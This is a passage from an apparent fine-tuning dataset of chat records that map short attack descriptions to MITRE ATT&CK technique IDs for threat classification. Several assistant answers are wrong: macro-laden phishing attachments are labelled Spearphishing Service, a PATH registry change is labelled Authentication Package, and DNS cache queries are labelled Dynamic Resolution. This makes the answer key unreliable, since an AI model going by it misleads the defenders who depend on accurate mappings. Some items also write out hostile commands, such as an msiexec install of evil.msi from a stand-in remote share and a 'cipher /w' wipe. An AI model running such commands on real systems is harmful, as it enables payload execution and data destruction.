                "content": "A malicious PowerShell script leveraged msiexec to execute a payload by running \"msiexec /quiet /log \"C:\\Windows\\Temp\\log.txt\" /i \\\\\\evilserver\\share\\evil.msi\"."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a user account and then exploit the Remote Desktop Service to spawn a remote shell on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores harvested passwords in the Windows Registry under HKEY_USERS\\<SID>\\Software\\Classes\\CLSID."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Windows 'cipher /w:C:' command to permanently erase free space on the C: drive after deleting files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its C2 server using a fast‑flux service, which resolves a single domain name to many short‑lived IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to parse all YAML configuration files for plaintext AWS secret access keys."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors employ spearphishing emails with embedded macro‑enabled Excel files that download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool registers a malicious MMC snap‑in that runs when mmc.exe is launched."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a trusted hardware component vendor to insert a rogue microcontroller that intercepts encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team extracts data by moving files to a compromised corporate Slack file share that syncs to the cloud."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses a cloud‑based code repository using stolen OAuth tokens and syncs the repo to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leveraged the 'Get-PnpDevice' cmdlet to discover available peripherals on the system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtains valid credentials and registers a new account in the organization’s Office 365 tenant."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool enumerates Unix /etc/group file to identify user groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses an Office document that performs a simple calculation and logs the result to verify the presence of the Office runtime."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining root, the intruder drops a public key into /home/ubuntu/.ssh/authorized_keys to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repurposes legitimate MQTT publish messages to carry encrypted C2 data, appearing as IoT communication."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a malicious Office template (.dot) that runs a malicious script each time a user opens Microsoft Word."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows Credential Editor to dump LSA secrets and obtain cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an insecure API, the attacker updates JSON configuration files stored in the cloud to redirect traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a third‑party provider’s CDN and replaced the cached assets with defaced versions, affecting all downstream sites."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit creates a DCOM object on the target to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email containing a malicious Microsoft Word document is delivered to the victim, who opens the attachment and enables macros, executing the payload."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious executable and configures it as a Windows service using the 'installutil' command, ensuring it runs with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised VPN client captures the time‑based one‑time password (TOTP) generated by the user’s authenticator app."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the 'net use' command to connect to administrative shares and execute scripts remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a compromised legitimate GitHub repository to pull command scripts from the repository's raw file URLs."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracted stored AWS secret keys from a compromised server and used them for lateral movement in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltrated files are first hex-encoded, then uploaded to a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor compromises a cloud storage service account to upload stolen data and retrieve it later."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing legitimate NTP servers that permit monlist queries, the adversary issues monlist requests with a spoofed source IP, causing the servers to send amplified traffic to the target."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping technique targeting the Securityd service's memory to exfiltrate saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised service account keys, the adversary connects directly to a Kubernetes node VM through the cloud console's remote access feature."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code posted on a social media platform redirects users to a fake login page that captures their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor patches the system’s recovery image to incorporate a payload that persists across system restores."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised workload accessed the metadata API via the link‑local address to pull down AWS access keys, then used them to enumerate S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign resulted in the deployment of a script that activates WinRM and runs commands on remote hosts for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses Azure Instance Metadata Service via http://169.254.169.254/metadata/identity/oauth2/token to steal access tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before dropping files, the code verifies that a user has opened a browser window within the last minute, using window titles as evidence of real user activity."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ reversible encryption on stolen credentials before exfiltration, allowing them to decrypt and reuse the credentials on the target network."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs Kerberoasting by querying the KDC for service tickets associated with privileged service accounts and then runs a dictionary attack on the ticket data."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parses the target's publicly available PDF reports for embedded metadata revealing software versions."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged the 'Set-GPRegistryValue' cmdlet to disable account lockout policy across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a JavaScript payload in a phishing page to read the user's clipboard and transmit the data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the .zip library in Go to compress files before transmission."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware strain exfiltrates logs through HTTPS POST requests to a cloud storage endpoint."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder utilizes Remote Desktop Protocol (RDP) brute-force attacks to gain footholds on other hosts."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes altering the /etc/audit/auditd.conf file to set 'log_file = /dev/null', suppressing logs."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor takes advantage of a serverless function's overly broad permissions to read secret stores and execute a cryptominer within the cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes a PowerShell module that calls AWS Organizations ListAccounts and associated group info."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing service is used to deliver a malicious PowerShell script embedded in an email attachment, which runs with elevated privileges to create a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals utilize Mavinject to hijack the services.exe process, loading a malicious module and executing it through System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable checks for the presence of common debugging tools in the file system before proceeding with its payload."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to query the victim's DNS cache for domain names before establishing a beacon."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages an open proxy discovered on the internet to proxy its outbound C2 traffic, thus bypassing internal network restrictions."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages XPC services to communicate between a dropped payload and a system daemon, bypassing sandbox restrictions."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes a new launch agent plist to /Library/LaunchAgents and enables it for all users."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed launchctl to list all loaded launch agents, then executed a hidden script through a newly created plist for persistence."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group of attackers conducts a business email compromise attack, targeting high-level executives with spear phishing emails that request sensitive information or initiate fraudulent transactions."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit validates the operating system’s build number and the machine’s IP address range before triggering the payload."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SMS (smishing), the attacker texts employees a short message claiming their password has expired and directs them to a spoofed password reset page to collect credentials."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion framework employs a watchdog that detects file changes and immediately uploads the altered files using an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker reverse‑engineers a patched application to extract the exploit logic for the previously fixed vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injects random characters into configuration files, making it harder for defenders to spot malicious modifications."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used SMB's IPC$ share to move laterally across the network, copying ransomware to each machine."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group abuses RDP to maintain access after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits weak registry permissions on Windows services to drop a malicious binary into the service's binary path, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script alters the power settings XML file to set all idle timeouts to \"Never\", thereby keeping the system fully powered for the duration of the operation."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the metadata of a commonly used PDF in a shared folder to embed a hidden payload that executes on access."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a credentialed SSH tunnel into the Confluence server and copied the /var/atlassian/application-data/confluence directory."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team exfiltrates data and then uploads a remote access tool via FTP to the infected host."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker copies the token of the SYSTEM account and creates a child process running as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious registry value is added under HKCU\\Environment to set a PATH variable that points to a malicious executable, ensuring execution on user login."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script obfuscates its JavaScript code by inserting random whitespace and Unicode escape sequences."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker group purchases proprietary algorithm descriptions from a disaffected employee to reverse‑engineer the product."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a Windows service with a trigger based on a scheduled task that runs a C2 downloader when a specific user logs in."
            },
            {
                "role": "assistant",
